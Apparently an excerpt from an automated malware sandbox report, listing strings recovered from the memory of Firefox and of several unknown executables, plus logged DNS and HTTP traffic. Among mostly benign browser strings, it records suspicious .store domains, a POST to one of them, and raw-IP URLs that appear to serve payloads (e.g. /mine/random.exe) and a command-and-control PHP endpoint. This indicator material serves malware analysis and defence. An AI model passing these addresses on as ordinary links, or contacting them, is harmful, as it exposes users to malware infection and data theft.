Source: firefox.exe, 0000001E.00000002.2442103725.0000018FC190E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001E.00000002.2442103725.0000018FC190E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.2442103725.0000018FC190E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001E.00000002.2442103725.0000018FC190E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001E.00000002.2442103725.0000018FC190E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.2442103725.0000018FC190E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001E.00000002.2442103725.0000018FC190E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001E.00000002.2442103725.0000018FC190E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.2442103725.0000018FC190E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001E.00000002.2442103725.0000018FC190E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001E.00000002.2442103725.0000018FC190E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.2528863394.0000163F3B300000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/http://mZ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: onPrefEMEGlobalEnabledChanged() id=SitePermsAddonInstall#cancel called twice on resource://gre/modules/AddonManager.sys.mjsuninstallPlugin() - unregistering gmp directory ://auth.9c9media.ca/auth/main.js://static.chartbeat.com/js/chartbeat.jsFileUtils_closeSafeFileOutputStreamhttps://smartblock.firefox.etp/facebook.svg://www.everestjs.net/static/st.v3.js://static.criteo.net/js/ld/publishertag.js://.imgur.com/js/vendor..bundle.jsFileUtils_openSafeFileOutputStream://.imgur.io/js/vendor..bundle.js://static.chartbeat.com/js/chartbeat_video.js://www.rva311.com/static/js/main..chunk.js://web-assets.toggl.com/app/assets/scripts/.js://connect.facebook.net//sdk.js*://connect.facebook.net//all.js*://libs.coremetrics.com/eluminate.js@mozilla.org/addons/addon-manager-startup;1pictureinpicture%40mozilla.org:1.0.0FileUtils_closeAtomicFileOutputStreamresource://gre/modules/FileUtils.sys.mjsresource://gre/modules/addons/XPIProvider.jsm@mozilla.org/network/atomic-file-output-stream;1@mozilla.org/network/file-output-stream;1FileUtils_openAtomicFileOutputStream@mozilla.org/network/safe-file-output-stream;1webcompat-reporter@mozilla.org.xpi://track.adform.net/serving/scripts/trackpoint/://cdn.branch.io/branch-latest.min.jsresource://gre/modules/ConduitsParent.sys.mjs equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC129E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: resource:///modules/UrlbarPrefs.sys.mjs://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC12A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: unavailable:FEATURE_FAILURE_D2D_D3D11_COMP%2528not%2Bset%2529"https://ads.stickyadstv.com/firefox-etp""://ads.stickyadstv.com/user-matching""://.adsafeprotected.com/.js""://.adsafeprotected.com//adj""://.adsafeprotected.com/.gif""://.adsafeprotected.com/.png""://.adsafeprotected.com//Serving/""://securepubads.g.doubleclick.net/gampad/ad""://.adsafeprotected.com/jload?"8bbe8fef-783c-4996-97d6-51c14ebb316a"://.adsafeprotected.com//imp/""://.adsafeprotected.com/jsvid?""://.adsafeprotected.com/jsvid""://pubads.g.doubleclick.net/gampad/ad""://.adsafeprotected.com/tpl?""://.adsafeprotected.com//unit/""://ads.stickyadstv.com/auto-user-sync""://.adsafeprotected.com/jload""://.adsafeprotected.com/services/pub""://www.facebook.com/platform/impression.php" equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001E.00000002.2528863394.0000163F3B300000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001E.00000002.2528863394.0000163F3B300000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.comZ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001E.00000002.2528863394.0000163F3B300000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.2528863394.0000163F3B300000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.comZ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000003.2350081696.0000018FC0B32000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2340535922.0000018FC0B32000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2350694285.0000018FC04FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId:
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId:

Source: global traffic	DNS traffic detected: DNS query: presticitpo.store
Source: global traffic	DNS traffic detected: DNS query: crisiwarny.store
Source: global traffic	DNS traffic detected: DNS query: fadehairucw.store
Source: global traffic	DNS traffic detected: DNS query: thumbystriw.store
Source: global traffic	DNS traffic detected: DNS query: necklacedmny.store
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: push.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: firefox.settings.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: telemetry-incoming.r53-2.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: support.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: us-west1.prod.sumo.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: www.facebook.com
Source: global traffic	DNS traffic detected: DNS query: www.youtube.com
Source: global traffic	DNS traffic detected: DNS query: www.wikipedia.org
Source: global traffic	DNS traffic detected: DNS query: star-mini.c10r.facebook.com
Source: global traffic	DNS traffic detected: DNS query: dyna.wikimedia.org
Source: global traffic	DNS traffic detected: DNS query: youtube-ui.l.google.com
Source: global traffic	DNS traffic detected: DNS query: www.reddit.com
Source: global traffic	DNS traffic detected: DNS query: twitter.com
Source: global traffic	DNS traffic detected: DNS query: reddit.map.fastly.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store

Source: firefox.exe, 0000001E.00000002.2470373720.0000018FC368B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: 3cbc500e8f.exe, 0000000F.00000003.2467175226.000000000176B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: 3cbc500e8f.exe, 0000000F.00000003.2467175226.000000000176B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mF
Source: 3cbc500e8f.exe, 0000000F.00000003.2467175226.000000000176B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000001.00000003.1541512000.00000000059E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe$
Source: 3cbc500e8f.exe, 0000000F.00000003.2467175226.000000000176B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exey
Source: 3cbc500e8f.exe, 0000000F.00000003.2467350845.0000000001790000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: 3cbc500e8f.exe, 0000000F.00000003.2467350845.0000000001790000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe8
Source: c74ef7bd5d.exe, 0000000E.00000002.2202241135.000000000057E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: c74ef7bd5d.exe, 0000000E.00000002.2202241135.00000000005D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: c74ef7bd5d.exe, 0000000E.00000002.2202241135.00000000005E9000.00000004.00000020.00020000.00000000.sdmp, c74ef7bd5d.exe, 0000000E.00000002.2202241135.00000000005D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: c74ef7bd5d.exe, 0000000E.00000002.2202241135.00000000005D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/1
Source: c74ef7bd5d.exe, 0000000E.00000002.2202241135.000000000057E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php2
Source: c74ef7bd5d.exe, 0000000E.00000002.2202241135.00000000005E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpO
Source: c74ef7bd5d.exe, 0000000E.00000002.2202241135.00000000005D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpY
Source: c74ef7bd5d.exe, 0000000E.00000002.2202241135.000000000057E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpft
Source: c74ef7bd5d.exe, 0000000E.00000002.2202241135.00000000005E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpk
Source: c74ef7bd5d.exe, 0000000E.00000002.2202241135.00000000005E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpw
Source: c74ef7bd5d.exe, 0000000E.00000002.2202241135.00000000005D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/n
Source: c74ef7bd5d.exe, 0000000E.00000002.2202241135.00000000005D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ws
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC125E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2409876446.0000018FBFBB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.0/
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC125E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2409876446.0000018FBFBB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.1/
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC125E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2409876446.0000018FBFBB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.0/
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC125E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2409876446.0000018FBFBB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.1/
Source: file.exe, 00000001.00000003.1396745722.0000000005A1E000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2130235517.00000000060FE000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2316374428.0000000006070000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000001.00000003.1396745722.0000000005A1E000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2130235517.00000000060FE000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2316374428.0000000006070000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%sisDownloadsImprovementsAlreadyMigrated
Source: firefox.exe, 0000001E.00000002.2383407355.0000018FBB143000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%ss
Source: 3cbc500e8f.exe, 0000000D.00000002.2230728877.00000000016DB000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2186572054.00000000016DB000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2188741137.00000000016DB000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2176627636.00000000016DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micros
Source: file.exe, 00000001.00000003.1396745722.0000000005A1E000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2130235517.00000000060FE000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2316374428.0000000006070000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000001.00000003.1396745722.0000000005A1E000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2130235517.00000000060FE000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2316374428.0000000006070000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000001.00000003.1396745722.0000000005A1E000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2130235517.00000000060FE000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2316374428.0000000006070000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000001.00000003.1396745722.0000000005A1E000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2130235517.00000000060FE000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2316374428.0000000006070000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000001.00000003.1396745722.0000000005A1E000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2130235517.00000000060FE000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2316374428.0000000006070000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 0000001E.00000002.2434585255.0000018FC1026000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2441342220.0000018FC1837000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2434585255.0000018FC100B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.htmlshouldSkipCheckForBrokenURLOrZeroSizedforceInheritPrin
Source: firefox.exe, 0000001E.00000002.2409876446.0000018FBFBD8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2425869954.0000018FC0703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 0000001E.00000002.2409876446.0000018FBFB80000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2431029489.0000018FC0D6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 0000001E.00000002.2413926437.0000018FC0433000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListener
Source: firefox.exe, 0000001E.00000002.2411238637.0000018FBFE40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListenerFailed
Source: firefox.exe, 0000001E.00000002.2413926437.0000018FC0433000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListener
Source: firefox.exe, 0000001E.00000002.2411238637.0000018FBFE40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListenerThe
Source: firefox.exe, 0000001E.00000002.2383407355.0000018FBB126000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/common
Source: firefox.exe, 0000001E.00000002.2383407355.0000018FBB126000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/math
Source: firefox.exe, 0000001E.00000002.2383407355.0000018FBB126000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/sets
Source: firefox.exe, 0000001E.00000002.2381213988.0000018FAF903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/strings
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-04/schema#
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-04/schema#https://json-schema.org/draft/2020-12/schemahttp://json-schem
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-06/schema#
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-07/schema#
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-07/schema#webcompat
Source: firefox.exe, 0000001E.00000002.2528863394.0000163F3B300000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.o
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org
Source: firefox.exe, 0000001E.00000002.2534665912.00002A46B3800000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2528863394.0000163F3B300000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2527701965.00000D78ADA00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/additionalProperties
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/aboutWelcomeBehavior
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/appId
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/appName
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/appNamehttp://mozilla.org/#/properties/outcomes/itemshttp://mozilla.
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items
